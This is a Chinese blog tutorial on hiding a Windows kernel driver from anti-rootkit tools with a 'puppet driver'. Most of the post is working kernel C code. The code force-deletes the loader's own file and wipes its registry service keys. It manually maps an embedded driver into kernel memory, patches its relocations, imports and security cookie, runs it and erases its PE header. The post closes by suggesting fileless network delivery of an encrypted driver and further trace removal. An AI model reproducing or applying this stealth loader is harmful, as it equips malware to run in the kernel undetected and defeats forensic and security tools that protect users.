无”痕”加载驱动模块之傀儡驱动 (上)
- 逆向
- 2025-12-10
- 6热度
- 0评论
驱动加载与ark遍历原理
正常通过服务加载的驱动会显示在ark工具的列表里
CreateServiceA OpenSCManagerA StartServiceA ControlService DeleteService
原理是通过ZwQuerySystemInformation 或者驱动入口参数的_DRIVER_OBJECT结构中的双向循环链表遍历到
ULONG EnumKernel(PUCHAR buffer)
{
size_t count = 0;
NTSTATUS nStatus;
ULONG retLength; //缓冲区长度
PVOID pProcInfo;
PRTL_PROCESS_MODULE_INFORMATION pProcIndex;
//调用函数,获取进程信息
nStatus = ZwQuerySystemInformation(
SystemModuleInformation,
NULL,
0,
&retLength //返回的长度,即为我们需要申请的缓冲区的长度
);
if (!retLength)
{
DbgPrint("ZwQuerySystemInformation error!\n");
return nStatus;
}
DbgPrint("retLength = %u\n", retLength);
//申请空间
pProcInfo = ExAllocatePool(NonPagedPool, retLength);
if (!pProcInfo)
{
DbgPrint("ExAllocatePool error!\n");
return STATUS_UNSUCCESSFUL;
}
nStatus = ZwQuerySystemInformation(
SystemModuleInformation,
pProcInfo,
retLength,
&retLength
);
if (NT_SUCCESS(nStatus)/*STATUS_INFO_LENGTH_MISMATCH == nStatus*/)
{
pProcIndex = ((PRTL_PROCESS_MODULES)pProcInfo)->Modules;
for (size_t i = 0; i < ((PRTL_PROCESS_MODULES)pProcInfo)->NumberOfModules; i++)
{
LOG("加载顺序 %d 名字 %s 地址 %p 大小 %p", pProcIndex[i].LoadOrderIndex, pProcIndex[i].FullPathName, pProcIndex[i].ImageBase,pProcIndex[i].ImageSize);
}
}
else
{
DbgPrint("error code : %u!!!\n", nStatus);
}
ExFreePool(pProcInfo);
// DbgBreakPoint();
return count;
}
typedef struct _DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject; // DeviceObject 每个驱动程序会有一个或多个设备对象。其中
// 每个设备对象都有一个指针指向下一个驱动对象,最后一个设备对象指向空。此处的DeviceObject
// 指向驱动对象的第一个设备对象。通过DeviceObject,就可以遍历驱动对象里的所有
// 设备对象。设备对象是由程序员自己创建的,而非操作系统完成,在驱动被卸载的时候,遍历每个
// 设备对象,并将其删除
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName; // 记录的是驱动程序的名字。这里用UNICODE字符串记录,该字符串一般为\Driver\[驱动程序名称]。
PUNICODE_STRING HardwareDatabase; // 这里记录的是设备的硬件数据库键名,这里同样用UNICODE字符串记录。该字符一般为
// REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM。
PFAST_IO_DISPATCH FastIoDispatch; // 文件驱动中用到的派遣函数。
PDRIVER_INITIALIZE DriverInit;
PDRIVER_STARTIO DriverStartIo; // 记录StartIO例程的函数地址,用户串行化操作。
PDRIVER_UNLOAD DriverUnload; // 指定驱动卸载时所用的回调函数地址。
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];// MajorFunction域记录的是一个函数指针数组,也就是MajorFunction是
// 一个数组,数组中的每个成员记录着一个指针,每一个指针指向的是一个函数。
// 这个函数就是处理IRP的派遣函数。
} DRIVER_OBJECT;
typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT;
无模块技术介绍
而恶意驱动模块为了躲避ark的扫描常常会使用无模块加载技术,使其无法通过正常手段查询。
下面介绍两种常见的无模块加载技术:
1.傀儡驱动,通过傀儡驱动内存拉伸真正的驱动,并清理傀儡驱动痕迹。
2.漏驱利用,通过白名单驱动的漏洞利用来加载我们自己的驱动,比较著名的项目为Kdmapper。
傀儡驱动加载原理
本文先介绍第一种技术:
正常我们加载驱动会在DriverEntry里返回STATUS_SUCCESS表示加载成功
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath) {
pDriverObject->DriverUnload = DriverUnload;
DbgPrintEx(77, 0, "你好\r\n");
return STATUS_SUCCESS;
}
如果我们返回STATUS_UNSUCCESSFUL,驱动会显示加载失败
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath) {
pDriverObject->DriverUnload = DriverUnload;
DbgPrintEx(77, 0, "你好\r\n");
return STATUS_UNSUCCESSFUL;
}
运行驱动,我们发现显示驱动加载失败,但是盲点来了,我们发现夹在在中间的代码已经被执行完毕
那么我们将入口点返回STATUS_UNSUCCESSFUL的驱动作为傀儡驱动,在DriverEntry和STATUS_UNSUCCESSFUL中间执行清理傀儡驱动加载痕迹和内存拉伸功能驱动的代码即可。
第一步删除自身驱动文件
//删除自身
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)pDriver->DriverSection;
DeleteFile(&pLdr->FullDllName);
BOOLEAN DeleteFile(PUNICODE_STRING FilePath)
{
NTSTATUS ntstatus = NULL;
HANDLE hFile = NULL;
OBJECT_ATTRIBUTES obj = { 0 };
IO_STATUS_BLOCK IostaBlc = { 0 };
PFILE_OBJECT pFileObj = NULL;
//初始化对象属性
InitializeObjectAttributes(&obj, FilePath, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
//打开文件获取句柄
ntstatus = NtCreateFile(
&hFile,
FILE_READ_ACCESS,
&obj,
&IostaBlc,
NULL,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_NON_DIRECTORY_FILE,
NULL,
NULL
);
if (!NT_SUCCESS(ntstatus))
{
return FALSE;
}
//获取文件内核对象
ntstatus = ObReferenceObjectByHandle(
hFile,
FILE_ANY_ACCESS,
*IoFileObjectType,
KernelMode,
&pFileObj,
NULL
);
if (!NT_SUCCESS(ntstatus) || pFileObj == NULL)
{
return FALSE;
}
//强制删除文件
pFileObj->DeletePending = 0;
pFileObj->DeleteAccess = 1;
//pFileObj->SharedDelete = 1;
pFileObj->SectionObjectPointer->DataSectionObject = NULL;
pFileObj->SectionObjectPointer->ImageSectionObject = NULL;
//pFileObj->SectionObjectPointer->SharedCacheMap = NULL;
MmFlushImageSection(pFileObj->SectionObjectPointer, MmFlushForDelete);
ntstatus = ZwDeleteFile(&obj);
if (pFileObj != NULL)
{
ObDereferenceObject(pFileObj);
}
ZwClose(hFile);
return NT_SUCCESS(ntstatus) ? TRUE : FALSE;
}
第二步删除注册表,要从内层向外层删,不然会留下痕迹
BOOLEAN DeleteRegEditEntry(PUNICODE_STRING RegPath)
{
HANDLE hKey = NULL;
HANDLE hKey1 = NULL;
OBJECT_ATTRIBUTES obj = { 0 };
OBJECT_ATTRIBUTES obj1 = { 0 };
NTSTATUS ntstatus = NULL;
PWCHAR szPanth[0x256] = { 0 };
UNICODE_STRING uPath = { 0 };
//删除子项
RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"DisplayName");
RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"ErrorControl");
RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"ImagePath");
RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"Start");
RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"Type");
RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"WOW64");
//寻找内层
RtlStringCbPrintfW(szPanth, 0x256, L"%ws\\Enum", RegPath->Buffer);
RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, szPanth, L"Count");
RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, szPanth, L"INITSTARTFAILED");
RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, szPanth, L"NextInstance");
//删除内层
RtlInitUnicodeString(&uPath, szPanth);
InitializeObjectAttributes(&obj1, &uPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
ntstatus = ZwOpenKey(&hKey1, KEY_ALL_ACCESS, &obj1);
if (!NT_SUCCESS(ntstatus))
{
return FALSE;
}
ZwDeleteKey(hKey1);
ZwClose(hKey1);
//删除表项
InitializeObjectAttributes(&obj, RegPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
ntstatus = ZwOpenKey(&hKey, KEY_ALL_ACCESS, &obj);
if (!NT_SUCCESS(ntstatus))
{
return FALSE;
}
ZwDeleteKey(hKey);
ZwClose(hKey);
return TRUE;
}
第三步拉伸功能驱动文件到内存状态
PUCHAR FileBufferToImageBuffer()
{
//File ->image
PUCHAR pBuffer = (PUCHAR)FileData;
PUCHAR pImageBuffer = NULL;
//定位结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pBuffer + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNth);
//申请内存
pImageBuffer = ExAllocatePool(NonPagedPool, pNth->OptionalHeader.SizeOfImage);
if (!pImageBuffer)
{
return NULL;
}
// 清除内存并拷贝头节
memset(pImageBuffer, 0, pNth->OptionalHeader.SizeOfImage);
memcpy(pImageBuffer, pBuffer, pNth->OptionalHeader.SizeOfHeaders);
//拷贝节区
for (size_t i = 0; i < pNth->FileHeader.NumberOfSections; i++)
{
ULONG VirtualAddress = pSec[i].VirtualAddress;
ULONG SizeOfRawData = pSec[i].SizeOfRawData;
ULONG PointerToRawData = pSec[i].PointerToRawData;
if (pSec[i].SizeOfRawData != 0)
{
memcpy(
pImageBuffer + pSec[i].VirtualAddress,
pBuffer + pSec[i].PointerToRawData,
pSec[i].SizeOfRawData
);
}
}
return pImageBuffer;
}
第四步修复重定位表
VOID RepairRelocation(PUCHAR pImageBuffer)
{
//定位结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
//if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return NULL; // 检查DOS头的有效性
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
PIMAGE_BASE_RELOCATION pRel = (PIMAGE_BASE_RELOCATION)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress==0)
{
return ;
}
//遍历重定向
while (pRel->VirtualAddress && pRel->SizeOfBlock)
{
//VirtualAddress
//SizeOfBlock
ULONG_PTR uRelEntry = (pRel->SizeOfBlock - 8) / 2;
PUSHORT pRelEntry = (PUSHORT)((PUCHAR)pRel + 8);
for (size_t i = 0; i < uRelEntry; i++)
{
//判断标志
if ((pRelEntry[i] >> 12 ) == IMAGE_REL_BASED_DIR64)
{
ULONG_PTR uLowOffset = pRelEntry[i] & 0XFFF;
ULONG_PTR* uRepairAddr = (ULONG_PTR*)(pImageBuffer + pRel->VirtualAddress + uLowOffset);
*uRepairAddr = *uRepairAddr - pNth->OptionalHeader.ImageBase + pImageBuffer;
}
}
pRel = (PIMAGE_BASE_RELOCATION)((PUCHAR)pRel + pRel->SizeOfBlock);
}
}
第五步修复导入表
VOID RepairImportData(PUCHAR pImageBuffer)
{
//定位结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
PIMAGE_IMPORT_DESCRIPTOR pImp = (PIMAGE_BASE_RELOCATION)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress == 0)
{
return;
}
//遍历导入
while (pImp->FirstThunk && pImp->OriginalFirstThunk)
{
PIMAGE_THUNK_DATA pIAI = (PIMAGE_THUNK_DATA)(pImageBuffer + pImp->FirstThunk);
PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)(pImageBuffer + pImp->OriginalFirstThunk);
PUCHAR DLLName = (PUCHAR)(pImageBuffer + pImp->Name);
while (pINT->u1.AddressOfData && pIAI->u1.Function)
{
NTSTATUS st = NULL;
PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pImageBuffer);
ANSI_STRING aFunName = { 0 };
UNICODE_STRING uFunName = { 0 };
ULONG_PTR uFunAddr = 0;
RtlInitAnsiString(&aFunName, pName->Name);
if (_stricmp((DLLName),"ntoskrnl.exe") == 0 ||
_stricmp((DLLName),"ntkrnlpa.exe") == 0 ||
_stricmp((DLLName),"hal.exe") == 0 )
{
st = RtlAnsiStringToUnicodeString(&uFunName, &aFunName, TRUE);
if (!NT_SUCCESS(st))return;
uFunAddr = MmGetSystemRoutineAddress(&uFunName);
//释放内存
RtlFreeUnicodeString(&uFunName);
}
else
{
PUCHAR pImageBase = 0;
pImageBase = GetModuleInfo((DLLName), NULL);
if (!pImageBase)
{
return;
}
uFunAddr = GetExportFunAddrByName(pImageBase, pName->Name);
}
if (!uFunAddr)
{
return;
}
//修改地址
pIAI->u1.Function = uFunAddr;
//指向下个
pIAI++;
pINT++;
}
pImp++;
}
}
第六步修正校验
VOID RepairCookie(PUCHAR pImageBuffer)
{
//定位结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
//获取配置
PIMAGE_LOAD_CONFIG_DIRECTORY pLod = (PIMAGE_LOAD_CONFIG_DIRECTORY)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress);
if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress == NULL)
{
return;
}
*(ULONG_PTR*)pLod->SecurityCookie += 10;
}
第七步执行功能驱动入口,并抹除功能驱动pe指纹
VOID EntryCall(PUCHAR pImageBuffer)
{
//定位结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
//获取入口
PDRIVER_INITIALIZE pEntry = (PDRIVER_INITIALIZE)(pImageBuffer + pNth->OptionalHeader.AddressOfEntryPoint);
if (pEntry)
{
NTSTATUS st = pEntry(NULL,NULL);
if (NT_SUCCESS(st))
{
memset(pImageBuffer, 0x00, pNth->OptionalHeader.SizeOfHeaders);
}
}
}
测试环节
功能驱动代码
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{
DbgPrintEx(77, 0, "[功能驱动加载成功]\r\n");
return STATUS_SUCCESS;
}
转换为二进制藏在傀儡驱动里
安装傀儡驱动
发现傀儡驱动加载失败,并清理了自身,功能驱动正确加载。
ark中无任何加载痕迹
总结
傀儡驱动入口返回失败,删除自身->清理注册表->拉伸功能驱动->修复重定位->修复导入表->修复校验->Call入口
当然这只是无痕驱动的雏形并不是真正的无痕驱动,还有很多痕迹需要清理,只是一个基本思想供大家举一反三。
例如:云下放功能驱动加密文件不落地,利用网络传输到内存,拉伸时再动态解密。功能驱动使用懒惰导入,去导入表化,清理驱动卸载链表等







